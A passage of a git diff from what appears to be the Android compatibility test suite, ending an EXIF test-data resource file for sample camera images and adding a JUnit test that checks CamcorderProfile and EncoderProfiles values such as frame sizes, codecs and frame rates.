+        <item>122/1,9/1,4330/100</item>
+        <item>W</item>
+        <item />
+        <item>08:35:34</item>
+        <item>720</item>
+        <item>1280</item>
+        <item>175</item>
+        <item>1</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="sony_rx_100_arw">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>32176</item>
+        <item>7423</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>32104</item>
+        <item>5</item>
+        <item>SONY</item>
+        <item>DSC-RX100M3</item>
+        <item>2.0000</item>
+        <item>2015:01:15 16:49:05</item>
+        <item>0.0050</item>
+        <item>16.0</item>
+        <item>880/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3648</item>
+        <item>5472</item>
+        <item>125</item>
+        <item>8</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="canon_g7x_cr2">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>22528</item>
+        <item>14161</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>288</item>
+        <item>6</item>
+        <item>Canon</item>
+        <item>Canon PowerShot G7 X</item>
+        <item>8.0000</item>
+        <item>2015:01:15 16:53:05</item>
+        <item>0.0005</item>
+        <item>16.0</item>
+        <item>8800/1000</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3648</item>
+        <item>5472</item>
+        <item>12800</item>
+        <item>8</item>
+        <item>1</item>
+        <item>true</item>
+        <item>14336</item>
+        <item>8192</item>
+    </array>
+    <array name="fuji_x20_raf">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>2080</item>
+        <item>9352</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>318</item>
+        <item>9</item>
+        <item>FUJIFILM</item>
+        <item>X20</item>
+        <item>3.6000</item>
+        <item>2015:01:15 18:20:53</item>
+        <item>0.0130</item>
+        <item>16.0</item>
+        <item>1040/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3000</item>
+        <item>4000</item>
+        <item>100</item>
+        <item>1</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="nikon_1aw1_nef">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>963072</item>
+        <item>57600</item>
+        <item>160</item>
+        <item>120</item>
+        <item>false</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>962700</item>
+        <item>24</item>
+        <item>53.83652</item>
+        <item>10.69828</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>336</item>
+        <item>18</item>
+        <item>NIKON CORPORATION</item>
+        <item>NIKON 1 AW1</item>
+        <item>5.6000</item>
+        <item>2015:10:27 14:10:12</item>
+        <item>0.0080</item>
+        <item>0</item>
+        <item>275/10</item>
+        <item />
+        <item />
+        <item>2015:10:27</item>
+        <item>53/1,501915/10000,0/1</item>
+        <item>N</item>
+        <item>10/1,418974/10000,0/1</item>
+        <item>E</item>
+        <item />
+        <item>13:10:12</item>
+        <item>3072</item>
+        <item>4608</item>
+        <item>200</item>
+        <item>0</item>
+        <item>0</item>
+        <item>true</item>
+        <item>472</item>
+        <item>2048</item>
+    </array>
+    <array name="nikon_p330_nrw">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>32791</item>
+        <item>4875</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>1620</item>
+        <item>24</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>298</item>
+        <item>6</item>
+        <item>NIKON</item>
+        <item>COOLPIX P7800</item>
+        <item>2.0000</item>
+        <item>2015:02:17 14:24:21</item>
+        <item>0.0005</item>
+        <item>16.0</item>
+        <item>60/10</item>
+        <item>0/1</item>
+        <item>0</item>
+        <item>0000:00:00</item>
+        <item>0/1,0/1,0/1</item>
+        <item />
+        <item>0/1,0/1,0/1</item>
+        <item />
+        <item />
+        <item>00:00:00</item>
+        <item>3000</item>
+        <item>4000</item>
+        <item>3200</item>
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="pentax_k5_pef">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>103520</item>
+        <item>6532</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>266</item>
+        <item>20</item>
+        <item>PENTAX</item>
+        <item>PENTAX K-5</item>
+        <item>8.0000</item>
+        <item>2013:11:05 23:07:10</item>
+        <item>0.1250</item>
+        <item>16.0</item>
+        <item>2625/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3284</item>
+        <item>4992</item>
+        <item>100</item>
+        <item>1</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="olympus_e_pl3_orf">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>19264</item>
+        <item>3698</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>2148</item>
+        <item>24</item>
+        <item>OLYMPUS IMAGING CORP.</item>
+        <item>E-PL3</item>
+        <item>8.0000</item>
+        <item>2013:05:15 11:04:46</item>
+        <item>0.0400</item>
+        <item>24.0</item>
+        <item>45/1</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>2272</item>
+        <item>3024</item>
+        <item>200</item>
+        <item>1</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="panasonic_gm5_rw2">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>18944</item>
+        <item>6435</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>874</item>
+        <item>10</item>
+        <item>Panasonic</item>
+        <item>DMC-GM5</item>
+        <item>8.0000</item>
+        <item>2015:01:14 17:06:04</item>
+        <item>0.0500</item>
+        <item>16.0</item>
+        <item>160/10</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3448</item>
+        <item>4592</item>
+        <item>200</item>
+        <item>8</item>
+        <item>1</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="samsung_nx3000_srw">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>317560</item>
+        <item>3059</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>98</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>NX3000</item>
+        <item>5.6000</item>
+        <item>2016:01:14 12:45:32</item>
+        <item>0.1670</item>
+        <item>0</item>
+        <item>50/1</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3648</item>
+        <item>5472</item>
+        <item>100</item>
+        <item>8</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="png_with_exif_byte_order_ii">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>212271</item>
+        <item>6265</item>
+        <item>512</item>
+        <item>288</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>211525</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>SM-N900S</item>
+        <item>2.200</item>
+        <item>2016:01:29 18:32:27</item>
+        <item>0.033</item>
+        <item>0</item>
+        <item>41/10</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>480</item>
+        <item>640</item>
+        <item>50</item>
+        <item>6</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
+    <array name="webp_with_exif">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>9646</item>
+        <item>6265</item>
+        <item>512</item>
+        <item>288</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>6306</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>SM-N900S</item>
+        <item>2.200</item>
+        <item>2016:01:29 18:32:27</item>
+        <item>0.033</item>
+        <item>0</item>
+        <item>413/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>480</item>
+        <item>640</item>
+        <item>50</item>
+        <item>6</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
+</resources>
diff --git a/tests/tests/media/res/values/strings.xml b/tests/tests/media/misc/res/values/strings.xml
similarity index 100%
rename from tests/tests/media/res/values/strings.xml
rename to tests/tests/media/misc/res/values/strings.xml
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
new file mode 100644
index 0000000..5c6e49e
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
@@ -0,0 +1,574 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.hardware.Camera;
+import android.hardware.Camera.Parameters;
+import android.hardware.Camera.Size;
+import android.hardware.cts.helpers.CameraUtils;
+import android.media.CamcorderProfile;
+import android.media.EncoderProfiles;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaRecorder;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.AndroidTestCase;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class CamcorderProfileTest {
+
+    private static final String TAG = "CamcorderProfileTest";
+    private static final int MIN_HIGH_SPEED_FPS = 100;
+    private static final Integer[] ALL_SUPPORTED_QUALITIES = {
+        CamcorderProfile.QUALITY_LOW,
+        CamcorderProfile.QUALITY_HIGH,
+        CamcorderProfile.QUALITY_QCIF,
+        CamcorderProfile.QUALITY_CIF,
+        CamcorderProfile.QUALITY_480P,
+        CamcorderProfile.QUALITY_720P,
+        CamcorderProfile.QUALITY_1080P,
+        CamcorderProfile.QUALITY_QVGA,
+        CamcorderProfile.QUALITY_2160P,
+        CamcorderProfile.QUALITY_VGA,
+        CamcorderProfile.QUALITY_4KDCI,
+        CamcorderProfile.QUALITY_QHD,
+        CamcorderProfile.QUALITY_2K,
+        CamcorderProfile.QUALITY_8KUHD,
+
+        CamcorderProfile.QUALITY_TIME_LAPSE_LOW,
+        CamcorderProfile.QUALITY_TIME_LAPSE_HIGH,
+        CamcorderProfile.QUALITY_TIME_LAPSE_QCIF,
+        CamcorderProfile.QUALITY_TIME_LAPSE_CIF,
+        CamcorderProfile.QUALITY_TIME_LAPSE_480P,
+        CamcorderProfile.QUALITY_TIME_LAPSE_720P,
+        CamcorderProfile.QUALITY_TIME_LAPSE_1080P,
+        CamcorderProfile.QUALITY_TIME_LAPSE_QVGA,
+        CamcorderProfile.QUALITY_TIME_LAPSE_2160P,
+        CamcorderProfile.QUALITY_TIME_LAPSE_VGA,
+        CamcorderProfile.QUALITY_TIME_LAPSE_4KDCI,
+        CamcorderProfile.QUALITY_TIME_LAPSE_QHD,
+        CamcorderProfile.QUALITY_TIME_LAPSE_2K,
+        CamcorderProfile.QUALITY_TIME_LAPSE_8KUHD,
+
+        CamcorderProfile.QUALITY_HIGH_SPEED_LOW,
+        CamcorderProfile.QUALITY_HIGH_SPEED_HIGH,
+        CamcorderProfile.QUALITY_HIGH_SPEED_480P,
+        CamcorderProfile.QUALITY_HIGH_SPEED_720P,
+        CamcorderProfile.QUALITY_HIGH_SPEED_1080P,
+        CamcorderProfile.QUALITY_HIGH_SPEED_2160P,
+        CamcorderProfile.QUALITY_HIGH_SPEED_CIF,
+        CamcorderProfile.QUALITY_HIGH_SPEED_VGA,
+        CamcorderProfile.QUALITY_HIGH_SPEED_4KDCI,
+    };
+    private static final int LAST_QUALITY = CamcorderProfile.QUALITY_8KUHD;
+    private static final int LAST_TIMELAPSE_QUALITY = CamcorderProfile.QUALITY_TIME_LAPSE_8KUHD;
+    private static final int LAST_HIGH_SPEED_QUALITY = CamcorderProfile.QUALITY_HIGH_SPEED_4KDCI;
+    private static final Integer[] UNKNOWN_QUALITIES = {
+        LAST_QUALITY + 1, // Unknown normal profile quality
+        LAST_TIMELAPSE_QUALITY + 1, // Unknown timelapse profile quality
+        LAST_HIGH_SPEED_QUALITY + 1 // Unknown high speed timelapse profile quality
+    };
+
+    // Uses get without id if cameraId == -1 and get with id otherwise.
+    private CamcorderProfile getWithOptionalId(int quality, int cameraId) {
+        if (cameraId == -1) {
+            return CamcorderProfile.get(quality);
+        } else {
+            return CamcorderProfile.get(cameraId, quality);
+        }
+    }
+
+    private void checkProfile(CamcorderProfile profile, List<Size> videoSizes) {
+        Log.v(TAG, String.format("profile: duration=%d, quality=%d, " +
+            "fileFormat=%d, videoCodec=%d, videoBitRate=%d, videoFrameRate=%d, " +
+            "videoFrameWidth=%d, videoFrameHeight=%d, audioCodec=%d, " +
+            "audioBitRate=%d, audioSampleRate=%d, audioChannels=%d",
+            profile.duration,
+            profile.quality,
+            profile.fileFormat,
+            profile.videoCodec,
+            profile.videoBitRate,
+            profile.videoFrameRate,
+            profile.videoFrameWidth,
+            profile.videoFrameHeight,
+            profile.audioCodec,
+            profile.audioBitRate,
+            profile.audioSampleRate,
+            profile.audioChannels));
+        assertTrue(profile.duration > 0);
+        assertTrue(Arrays.asList(ALL_SUPPORTED_QUALITIES).contains(profile.quality));
+        assertTrue(profile.videoBitRate > 0);
+        assertTrue(profile.videoFrameRate > 0);
+        assertTrue(profile.videoFrameWidth > 0);
+        assertTrue(profile.videoFrameHeight > 0);
+        assertTrue(profile.audioBitRate > 0);
+        assertTrue(profile.audioSampleRate > 0);
+        assertTrue(profile.audioChannels > 0);
+        assertTrue(isSizeSupported(profile.videoFrameWidth,
+                                   profile.videoFrameHeight,
+                                   videoSizes));
+    }
+
+    private void checkAllProfiles(EncoderProfiles allProfiles, CamcorderProfile profile,
+                                  List<Size> videoSizes) {
+        Log.v(TAG, String.format("profile: duration=%d, quality=%d, " +
+            "fileFormat=%d, videoCodec=%d, videoBitRate=%d, videoFrameRate=%d, " +
+            "videoFrameWidth=%d, videoFrameHeight=%d, audioCodec=%d, " +
+            "audioBitRate=%d, audioSampleRate=%d, audioChannels=%d",
+            profile.duration,
+            profile.quality,
+            profile.fileFormat,
+            profile.videoCodec,
+            profile.videoBitRate,
+            profile.videoFrameRate,
+            profile.videoFrameWidth,
+            profile.videoFrameHeight,
+            profile.audioCodec,
+            profile.audioBitRate,
+            profile.audioSampleRate,
+            profile.audioChannels));
+        // generic fields must match the corresponding CamcorderProfile
+        assertEquals(profile.duration, allProfiles.getDefaultDurationSeconds());
+        assertEquals(profile.fileFormat, allProfiles.getRecommendedFileFormat());
+        boolean first = true;
+        for (EncoderProfiles.VideoProfile videoProfile : allProfiles.getVideoProfiles()) {
+            if (first) {
+                // the first profile must be the default profile which must match
+                // the corresponding CamcorderProfile
+                assertEquals(profile.videoCodec, videoProfile.getCodec());
+                assertEquals(profile.videoBitRate, videoProfile.getBitrate());
+                assertEquals(profile.videoFrameRate, videoProfile.getFrameRate());
+                first = false;
+            }
+            // all profiles must be the same size
+            assertEquals(profile.videoFrameWidth, videoProfile.getWidth());
+            assertEquals(profile.videoFrameHeight, videoProfile.getHeight());
+            assertTrue(videoProfile.getMediaType() != null);
+            switch (videoProfile.getCodec()) {
+              // don't validate profile for regular codecs as vendors may use vendor specific profile
+            case MediaRecorder.VideoEncoder.H263:
+                assertEquals(MediaFormat.MIMETYPE_VIDEO_H263, videoProfile.getMediaType());
+                break;
+            case MediaRecorder.VideoEncoder.H264:
+                assertEquals(MediaFormat.MIMETYPE_VIDEO_AVC, videoProfile.getMediaType());
+                break;
+            case MediaRecorder.VideoEncoder.MPEG_4_SP:
+                assertEquals(MediaFormat.MIMETYPE_VIDEO_MPEG4, videoProfile.getMediaType());
+                break;
+            case MediaRecorder.VideoEncoder.VP8:
+                assertEquals(MediaFormat.MIMETYPE_VIDEO_VP8, videoProfile.getMediaType());
+                break;
+            case MediaRecorder.VideoEncoder.HEVC:
+                  assertEquals(MediaFormat.MIMETYPE_VIDEO_HEVC, videoProfile.getMediaType());
+                  break;
+            }
+            // Cannot validate profile as vendors may use vendor specific profile. Just read it.
+            int codecProfile = videoProfile.getProfile();
+        }
+        first = true;
+        for (EncoderProfiles.AudioProfile audioProfile : allProfiles.getAudioProfiles()) {
+            if (first) {
+                // the first profile must be the default profile which must match
+                // the corresponding CamcorderProfile
+                assertEquals(profile.audioCodec, audioProfile.getCodec());
+                assertEquals(profile.audioBitRate, audioProfile.getBitrate());
+                assertEquals(profile.audioSampleRate, audioProfile.getSampleRate());
+                assertEquals(profile.audioChannels, audioProfile.getChannels());
+                first = false;
+            }
+            assertTrue(audioProfile.getMediaType() != null);
+            switch (audioProfile.getCodec()) {
+            // don't validate profile for regular codecs as vendors may use vendor specific profile
+            case MediaRecorder.AudioEncoder.AMR_NB:
+                assertEquals(MediaFormat.MIMETYPE_AUDIO_AMR_NB, audioProfile.getMediaType());
+                break;
+            case MediaRecorder.AudioEncoder.AMR_WB:
+                assertEquals(MediaFormat.MIMETYPE_AUDIO_AMR_WB, audioProfile.getMediaType());
+                break;
+            case MediaRecorder.AudioEncoder.AAC:
+                assertEquals(MediaFormat.MIMETYPE_AUDIO_AAC, audioProfile.getMediaType());
+                break;
+            case MediaRecorder.AudioEncoder.HE_AAC:
+                assertEquals(MediaFormat.MIMETYPE_AUDIO_AAC, audioProfile.getMediaType());
+                assertEquals(MediaCodecInfo.CodecProfileLevel.AACObjectHE,
+                             audioProfile.getProfile());
+                break;
+            case MediaRecorder.AudioEncoder.AAC_ELD:
+                assertEquals(MediaFormat.MIMETYPE_AUDIO_AAC, audioProfile.getMediaType());
+                assertEquals(MediaCodecInfo.CodecProfileLevel.AACObjectELD,
+                             audioProfile.getProfile());
+                break;
+            case MediaRecorder.AudioEncoder.VORBIS:
+                assertEquals(MediaFormat.MIMETYPE_AUDIO_VORBIS, audioProfile.getMediaType());
+                break;
+            case MediaRecorder.AudioEncoder.OPUS:
+                assertEquals(MediaFormat.MIMETYPE_AUDIO_OPUS, audioProfile.getMediaType());
+                break;
+            default:
+                // there may be some extended profiles we don't know about and that's OK
+                break;
+            }
+        }
+    }
+
+    private void assertProfileEquals(CamcorderProfile expectedProfile,
+            CamcorderProfile actualProfile) {
+        assertEquals(expectedProfile.duration, actualProfile.duration);
+        assertEquals(expectedProfile.fileFormat, actualProfile.fileFormat);
+        assertEquals(expectedProfile.videoCodec, actualProfile.videoCodec);
+        assertEquals(expectedProfile.videoBitRate, actualProfile.videoBitRate);
+        assertEquals(expectedProfile.videoFrameRate, actualProfile.videoFrameRate);
+        assertEquals(expectedProfile.videoFrameWidth, actualProfile.videoFrameWidth);
+        assertEquals(expectedProfile.videoFrameHeight, actualProfile.videoFrameHeight);
+        assertEquals(expectedProfile.audioCodec, actualProfile.audioCodec);
+        assertEquals(expectedProfile.audioBitRate, actualProfile.audioBitRate);
+        assertEquals(expectedProfile.audioSampleRate, actualProfile.audioSampleRate);
+        assertEquals(expectedProfile.audioChannels, actualProfile.audioChannels);
+    }
+
+    private void checkSpecificProfileDimensions(CamcorderProfile profile, int quality) {
+        Log.v(TAG, String.format("specific profile: quality=%d, width = %d, height = %d",
+                    profile.quality, profile.videoFrameWidth, profile.videoFrameHeight));
+
+        switch (quality) {
+            case CamcorderProfile.QUALITY_QCIF:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_QCIF:
+                assertEquals(176, profile.videoFrameWidth);
+                assertEquals(144, profile.videoFrameHeight);
+                break;
+
+            case CamcorderProfile.QUALITY_CIF:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_CIF:
+                assertEquals(352, profile.videoFrameWidth);
+                assertEquals(288, profile.videoFrameHeight);
+                break;
+
+            case CamcorderProfile.QUALITY_480P:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_480P:
+                assertTrue(720 == profile.videoFrameWidth ||  // SMPTE 293M/ITU-R Rec. 601
+                           640 == profile.videoFrameWidth ||  // ATSC/NTSC (square sampling)
+                           704 == profile.videoFrameWidth);   // ATSC/NTSC (non-square sampling)
+                assertEquals(480, profile.videoFrameHeight);
+                break;
+
+            case CamcorderProfile.QUALITY_720P:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_720P:
+                assertEquals(1280, profile.videoFrameWidth);
+                assertEquals(720, profile.videoFrameHeight);
+                break;
+
+            case CamcorderProfile.QUALITY_1080P:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_1080P:
+                // 1080p could be either 1920x1088 or 1920x1080.
+                assertEquals(1920, profile.videoFrameWidth);
+                assertTrue(1088 == profile.videoFrameHeight ||
+                           1080 == profile.videoFrameHeight);
+                break;
+            case CamcorderProfile.QUALITY_2K:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_2K:
+                // 2K could be either 2048x1088 or 2048x1080
+                assertEquals(2048, profile.videoFrameWidth);
+                assertTrue(1088 == profile.videoFrameHeight ||
+                           1080 == profile.videoFrameHeight);
+                break;
+            case CamcorderProfile.QUALITY_QHD:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_QHD:
+                assertEquals(2560, profile.videoFrameWidth);
+                assertEquals(1440, profile.videoFrameHeight);
+                break;
+            case CamcorderProfile.QUALITY_2160P:
+            case CamcorderProfile.QUALITY_TIME_LAPSE_2160P:
+                assertEquals(3840, profile.videoFrameWidth);
+                assertEquals(2160, profile.videoFrameHeight);
+                break;
+            case CamcorderProfile.QUALITY_HIGH_SPEED_480P:
+                assertTrue(720 == profile.videoFrameWidth ||  // SMPTE 293M/ITU-R Rec. 601
+                640 == profile.videoFrameWidth ||  // ATSC/NTSC (square sampling)
+                704 == profile.videoFrameWidth);   // ATSC/NTSC (non-square sampling)
+                assertEquals(480, profile.videoFrameHeight);
+                assertTrue(profile.videoFrameRate >= MIN_HIGH_SPEED_FPS);
+                break;
+            case CamcorderProfile.QUALITY_HIGH_SPEED_720P:
+                assertEquals(1280, profile.videoFrameWidth);
+                assertEquals(720, profile.videoFrameHeight);
+                assertTrue(profile.videoFrameRate >= MIN_HIGH_SPEED_FPS);
+                break;
+            case CamcorderProfile.QUALITY_HIGH_SPEED_1080P:
+                // 1080p could be either 1920x1088 or 1920x1080.
+                assertEquals(1920, profile.videoFrameWidth);
+                assertTrue(1088 == profile.videoFrameHeight ||
+                           1080 == profile.videoFrameHeight);
+                assertTrue(profile.videoFrameRate >= MIN_HIGH_SPEED_FPS);
+                break;
+        }
+    }
+
+    // Checks if the existing specific profiles have the correct dimensions.
+    // Also checks that the mimimum quality specific profile matches the low profile and
+    // similarly that the maximum quality specific profile matches the high profile.
+    private void checkSpecificProfiles(
+            int cameraId,
+            CamcorderProfile low,
+            CamcorderProfile high,
+            int[] specificQualities,
+            List<Size> videoSizes) {
+
+        // For high speed levels, low and high quality are optional,skip the test if
+        // they are missing.
+        if (low == null && high == null) {
+            // No profile should be available if low and high are unavailable.
+            for (int quality : specificQualities) {
+                assertFalse(CamcorderProfile.hasProfile(cameraId, quality));
+            }
+            return;
+        }
+
+        CamcorderProfile minProfile = null;
+        CamcorderProfile maxProfile = null;
+
+        for (int i = 0; i < specificQualities.length; i++) {
+            int quality = specificQualities[i];
+            if ((cameraId != -1 && CamcorderProfile.hasProfile(cameraId, quality)) ||
+                (cameraId == -1 && CamcorderProfile.hasProfile(quality))) {
+                CamcorderProfile profile = getWithOptionalId(quality, cameraId);
+                checkSpecificProfileDimensions(profile, quality);
+
+                assertTrue(isSizeSupported(profile.videoFrameWidth,
+                                           profile.videoFrameHeight,
+                                           videoSizes));
+
+                if (minProfile == null) {
+                    minProfile = profile;
+                }
+                maxProfile = profile;
+            }
+        }
+
+        assertNotNull(minProfile);
+        assertNotNull(maxProfile);
+
+        Log.v(TAG, String.format("min profile: quality=%d, width = %d, height = %d",
+                    minProfile.quality, minProfile.videoFrameWidth, minProfile.videoFrameHeight));
+        Log.v(TAG, String.format("max profile: quality=%d, width = %d, height = %d",
+                    maxProfile.quality, maxProfile.videoFrameWidth, maxProfile.videoFrameHeight));
+
+        assertProfileEquals(low, minProfile);
+        assertProfileEquals(high, maxProfile);
+
+    }
+
+    private void checkGet(int cameraId) {
+        Log.v(TAG, (cameraId == -1)
+                   ? "Checking get without id"
+                   : "Checking get with id = " + cameraId);
+
+        Camera camera = null;
+        if (cameraId == -1) {
+            camera = Camera.open();
+            assumeTrue("Device does not have a back-facing camera", camera != null);
+        } else {
+            camera = Camera.open(cameraId);
+            assertNotNull("failed to open CameraId " + cameraId, camera);
+        }
+
+        final List<Size> videoSizes = getSupportedVideoSizes(camera);
+
+        camera.release();
+        camera = null;
+
+        /**
+         * Check all possible supported profiles: get profile should work, and the profile
+         * should be sane. Note that, timelapse and high speed video sizes may not be listed
+         * as supported video sizes from camera, skip the size check.
+         */
+        for (Integer quality : ALL_SUPPORTED_QUALITIES) {
+            if (CamcorderProfile.hasProfile(cameraId, quality) || isProfileMandatory(quality)) {
+                List<Size> videoSizesToCheck = null;
+                if (quality >= CamcorderProfile.QUALITY_LOW &&
+                                quality <= CamcorderProfile.QUALITY_2K) {
+                    videoSizesToCheck = videoSizes;
+                }
+                CamcorderProfile profile = getWithOptionalId(quality, cameraId);
+                checkProfile(profile, videoSizesToCheck);
+                if (cameraId >= 0) {
+                    EncoderProfiles allProfiles =
+                        CamcorderProfile.getAll(String.valueOf(cameraId), quality);
+                    checkAllProfiles(allProfiles, profile, videoSizesToCheck);
+                }
+            }
+        }
+
+        /**
+         * Check unknown profiles: hasProfile() should return false.
+         */
+        for (Integer quality : UNKNOWN_QUALITIES) {
+            assertFalse("Unknown profile quality " + quality + " shouldn't be supported by camera "
+                    + cameraId, CamcorderProfile.hasProfile(cameraId, quality));
+        }
+
+        // High speed low and high profile are optional,
+        // but they should be both present or missing.
+        CamcorderProfile lowHighSpeedProfile = null;
+        CamcorderProfile highHighSpeedProfile = null;
+        if (CamcorderProfile.hasProfile(cameraId, CamcorderProfile.QUALITY_HIGH_SPEED_LOW)) {
+            lowHighSpeedProfile =
+                    getWithOptionalId(CamcorderProfile.QUALITY_HIGH_SPEED_LOW, cameraId);
+        }
+        if (CamcorderProfile.hasProfile(cameraId, CamcorderProfile.QUALITY_HIGH_SPEED_HIGH)) {
+            highHighSpeedProfile =
+                    getWithOptionalId(CamcorderProfile.QUALITY_HIGH_SPEED_HIGH, cameraId);
+        }
+        if (lowHighSpeedProfile != null) {
